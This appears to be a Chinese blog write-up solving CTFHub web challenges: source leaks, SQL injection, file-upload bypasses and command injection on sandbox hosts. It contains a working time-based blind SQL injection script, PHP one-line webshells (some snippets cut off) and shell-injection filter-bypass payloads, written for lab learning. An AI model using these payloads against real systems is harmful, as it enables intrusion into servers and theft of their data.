ctfhub 技能树web全部做题记录(已完结)(除web进阶)

信息泄露

目录历遍

直接找就行。。。

PHPINFO

进去直接 ctrl+f 搜flag就行。。。

备份文件下载

网站源码

提示一些相关的名字

可以写个简单的脚本爆破一下 当然也可以 dirsearch 直接扫
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第1张图片

import requests
url = "http://challenge-c93f188d4781b829.sandbox.ctfhub.com:10080/"
a = ['web','website','backup','back','www','wwwroot','temp']
b = ['tar','tar.gz','zip','rar']

for i in a:
	for j in b:
		pos = url + i + '.' + j
		r = requests.get(pos)
		print(i)
		print(j)
		print(r)

获得源码解压后有个 flag.txt 但是里面不是flag 还有个奇怪的 50x.html 尝试直接访问这个奇怪的 html 没用 直接访问这个 flag.txt 就出了
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第2张图片

bak文件

看到题目就下意识 备份文件后缀是 .bak (linux命名的习惯)

打开网页 提示flag在 flag.php 里 加上后缀 down 下文件 flag就在里面
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第3张图片

vim缓存

又是考常识吧 linux下vim的缓存文件后缀是 .tmp 而且是隐藏文件 有个 . 的前缀

把下下来的文件放 linux 读缓存就行了
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第4张图片

.DS_Store

.DS_Store 是macos系统下的包含文件目录的文件

下载文件并用脚本分析 然后到靶机打开这个目录就行
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第5张图片

Git泄露

真的不知道为什么 不管是 win 还是 linux 都没反应 重装了也不行
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第6张图片

Githack 不能用的问题解决了 是脚本的问题 这里感谢一下评论区的师傅

亲测可用的 Githack链接: https://github.com/BugScanTeam/GitHack

Log

相对简单的一题 知识点:

  • git log可以查看日志 就是看看历史版本中都干了些什么
  • git reset --hard 版本号 就可以回到指定的版本
git reset --hard xxxxxxxxxxxxxxx

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第7张图片

Stash

做这题之前 需要知道 stash 是什么东西

git stash是git一个很有用的命令,它的作用是把当前未提交的修改暂存起来,让仓库还原到最后一次提交的状态。常用于更新、同步代码或者保存多个修改版本等情况下。

个人感觉这篇百度经验写的精简明了

git stash	# git stash命令会将仓库中的修改保存,建立一条stash信息,默认的说明信息是最后一次提交的节点号和提交说明。
git stash save #‘说明信息’与1的效果一样,说明信息是指定的内容,更加利于了解stash的内容。
git stash list #列出当前仓库下所有的stash条目,每一条stash用stash@{n}标识。
git stash pop [stash] # 将stash的内容弹出,默认弹出最上面的那条,即stash@{0}。此外还可以在pop后加stash@{n}来指定要弹出的stash条目。
git stash drop [stash] #丢弃stash条目,默认丢弃最上面的那条,即stash@{0},此外还可以在drop后加stash@{n}来指定要丢弃的stash条目。
git stash clear #清除所有的stash条目。
git show stash@{n}	#当有多条记录并且过了一段时间忘记stash内容时通过该命令可以查看stash的具体内容

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第8张图片

Index

??? 这题简单地离谱。。。flag就在当前目录下 。。。我还以为是假的呢 那么为啥他是第三题。。。。
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第9张图片

SVN泄露

使用 dvcs-ripper 工具中的 rip-svn.pl 脚本
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第10张图片
脚本使用过程可能会遇到下面类似的很长的报错

install_driver(SQLite) failed: Can’t locate DBD/SQLite.pm

解决方法 强烈建议开靶机前解决这个问题 不然很可能需要多花金币续费靶机

HG泄露

还是上一个脚本库里的 rip-hg.pl

#一定要加 -v 不然 down 不下来的
./rip-hg.pl -v -u http://challenge-365f72206c2c35b5.sandbox.ctfhub.com:10080/.hg/

然后就是文件夹里一顿疯找 但是什么都找不到 但是很多个文件 里面都有关于 flag.txt 的

看到这个就很清楚了 直接访问这个 flag.txt

密码口令

弱口令

第一次开靶机真的没有爆出来 真的郁闷 密码是随机的

默认口令

没有用户名会提醒没有用户名 筛选用户名 选择对应口令就可以
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第11张图片

SQL注入

SQL 整数型注入

id从3开始就没有回显 可以在3以后的数注

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第12张图片

注得数据库结构如下

  • sqli
    • news
      • id //1,2,114514
      • data //ctfhub,skill,sqli
    • flag
      • flag

SQL字符型注入

数据库还是跟上一题一样 就是搜索方式 从数字变成字符 闭合一下前面的引号就可以了 本题不再赘述
理论上来说你可以直接注 flag 表里的 flag 字段(我就是这么做的 太懒了)

SQL报错注入

updatexml 最长显示32位数 这题不能用
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第13张图片
使用

1 Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

时间盲注

学习的话可以参考这个
靶机续费了两次 亏死了 下面这个图里跑出来的flag是错的 QWQ 最后开第二遍跑出来了
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第14张图片
先手测一下 数据库 按出题人尿性都是 sqli 然后 匹配一下 s 看看 再匹配 a 对比一下
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第15张图片
用我蹩脚的python(我靶机续费两次的原因之一,QWQ) 写波脚本跑一下
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第16张图片
然后完善脚本把 数据表 字段和flag都跑出来 脚本如下

#写脚本水平很低 大神不要喷哈
#使用的话只要稍微改几个参数就行了
import requests
import time

url = "http://challenge-9514b2cf659c25a1.sandbox.ctfhub.com:10080/?id="
des = ""

for k in range(0,1):
	print(k)
	for i in range(1,60):
		for j in 'abcdefghijklmnopqrstuvwxyz}{0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ':
			# 数据库
			# sql = "if(substr(database(),%d,1)='%s',sleep(1),1) #" %(i,j)
			# 数据表
			# sql = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,j)
			# 字段
			# sql = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,j)
			# 字段内容
			sql = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,j)
			t1 = time.time()
			r = requests.get(url+sql)
			t2 = time.time()
			if(t2-t1 > 1):
				des += j
				print(des)
				break
	print("des:" + des)
	des = ""

MySQL结构

就是普通手注就行…为啥它放这么下面…不想写了
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第17张图片
算了 sqlmap 跑一波吧 这么多题还没跑过 sqlmap 呢 结果 sqlmap 跑还没手注快…真实…
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第18张图片

Cookie注入

抓包cookie后面 id后有一串东西像url编码 但是解出来乱码 直接改 id=1 试试
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第19张图片
手注发现有两处回显 无任何绕过
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第20张图片
注得数据库结构

  • sqli
    • news
      • id
        • 1,2,114514
      • data
        • ctfhub,skill,sqli
    • nooslnmxuf
      • vuhgcinlvb
        • ctfhub{8283144bd2b701f08311ac069af61fabdf227936}\

sqlmap也能跑出来

python sqlmap.py -u “http://challenge-192a33ee430cafd7.sandbox.ctfhub.com:10080/” --cookie “id=1” --dbs

UA注入

UA注入介绍

依然手注 依然无任何绕过 依然两个回显
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第21张图片
注得数据库结构

  • sqli
    • news
      • id
        • 1,2,114514
      • data
        • ctfhub,skill,sqli
    • rnarxnqskp
      • ahlzriucqp
        • ctfhub{df17b7f5fff86cb0176e077e0231c5ce567fb3ac}

Refer注入

我觉得还是一模一样的套路 不想写了…唯一要注意的就是refer头要自己加

ipploqowdc
ozknttspso
ctfhub{5cca896d0b05a1eb8977197827b33b57df87aacb}

文件上传

无验证

传个马上去
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第22张图片

蚁剑连上去
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第23张图片

找到flag
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第24张图片

前端验证

php改名字前端上传 抓包改回php 一样的操作连蚁剑 取flag
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第25张图片

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

简单来说就是操控服务器让他允许你做事

百度百科链接

.htaccess 利用方法 参考博文

法一

# FileMatch 参数即为文件名的正则匹配

  SetHandler application/x-httpd-php

 eval($_GET['c']);?>

法二

AddType application/x-httpd-php .jpg
 @eval($_GET['ma']);?>

写个 .htaccess 文件 写个 马 后缀改 jpg(你允许的后缀) 然后上传蚁剑连一下就行了

MIME绕过

MIME:客户端软件,区分不同种类的数据,例如web浏览器就是通过MIME类型来判断文件是GIF图片,还是可打印的PostScript文件。web服务器使用MIME来说明发送数据的种类, web客户端使用MIME来说明希望接收到的数据种类。

简单来说就是从 http 报文判断一下你上传的文件的类型

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第26张图片

写个马 Content-Type 字段中的值改成 image/gif 就行了 然后连蚁剑拿flag

文件头检查

画图软件随便弄个图 抓包最后加上马 然后改名 php 蚁剑连上就行
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第27张图片

00截断

  • 00截断原理

0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。

  • 00截断的限制条件
PHP<5.3.29,且GPC关闭

传个普通的 temp.php 马上去抓包

修改的地方可以有两个 1.上面地址 2.下面文件名 这里建议改上面的 原因

我下面文件 temp.php 改成 temp.jpg 不然没法上传

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第28张图片

上面的地址改的是 ma.php 所以连的时候连 ma.php

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第29张图片

这样更容易理解吧

双写后缀

这就不用多讲了吧 题目都告诉你怎么做了 双写后缀就行 不过这个命名稍微有点讲究 稍微注意下就行

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第30张图片

RCE

命令注入

可以先试一下 ping 127.0.0.1 然后 列一下目录

127.0.0.1 & ls

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第31张图片
可以看到一个纯数字的 php文件 里面绝对就是flag 最后那个 ma.php 是我后来传的

尝试cat一下那个文件 发现被屏蔽了 more tac 等命令全都被屏蔽了 那么问题来了 这题跟第二题 屏蔽cat 有什么区别

可以任意命令执行 直接重定向个马上去 用蚁剑连就可以了

127.0.0.1 & echo “ ma.php

重定向:简单来说就是命令行的输入和输出换个地方输入或者输出 可以直接往文件输出。

过滤cat

跟上一题完全一样 不赘述

过滤空格

过滤空格方法

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
catflag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这道题目差点让我自闭

#列一下目录
#这里&& 和 || 都可以 照理说 || 是不行的 应该用 && 
127.0.0.1||ls
#cat一下 flagxxxx.php
127.0.0.1||cat<flagxxxx.php

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第32张图片
然后我一直自闭在这里明明没有空格 他也正常执行了 为什么返回一个空行呢

反复尝试了无数遍后我无奈地打开wp但是发现wp跟我一样QWQ 原地裂开更加怀疑人生

最后靶机还有 30s 的时候(一定要看源码!!!)

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第33张图片

过滤目录分隔符

列一下目录

127.0.0.1 || ls

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第34张图片

列一下 flag目录

127.0.0.1 || ls flag_is_here

只有一个 flag.php

切换到 flag 目录再cat flag.php

127.0.0.1 || cd flag_is_here&&cat flag_40921853324810.php

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第35张图片

过滤运算符

列目录 分号类类似于很多编程语言的分号 所以理论上你的所有 php 都可以写在一行里

;ls

然后 cat 一下flag就可以了 感觉这题比前面几题都简单一些
ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第36张图片

综合练习

首先尝试了下把分号url编码 不过是没用的 换行符 url 编码 %0a

要直接在地址栏输入不然 % 会被转成url编码 %25 我这里只是演示

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第37张图片

%0Als${IFS}$(printf${IFS}%22\x66\x6C\x61\x67\x5F\x69\x73\x5F\x68\x65\x72\x65%22)

这么长要一个一个转化为十六进制 然后手差点断掉。。。

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第38张图片

%0Aca%27%27t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x33\x32\x31\x30\x38\x36\x39\x39\x31\x33\x30\x34\x30\x32\x2e\x70\x68\x70")

上面的全部原理都在下面这张图中

ctfhub 技能树web全部做题记录(已完结)(除web进阶)_第39张图片

你可能感兴趣的:(CTF入坟)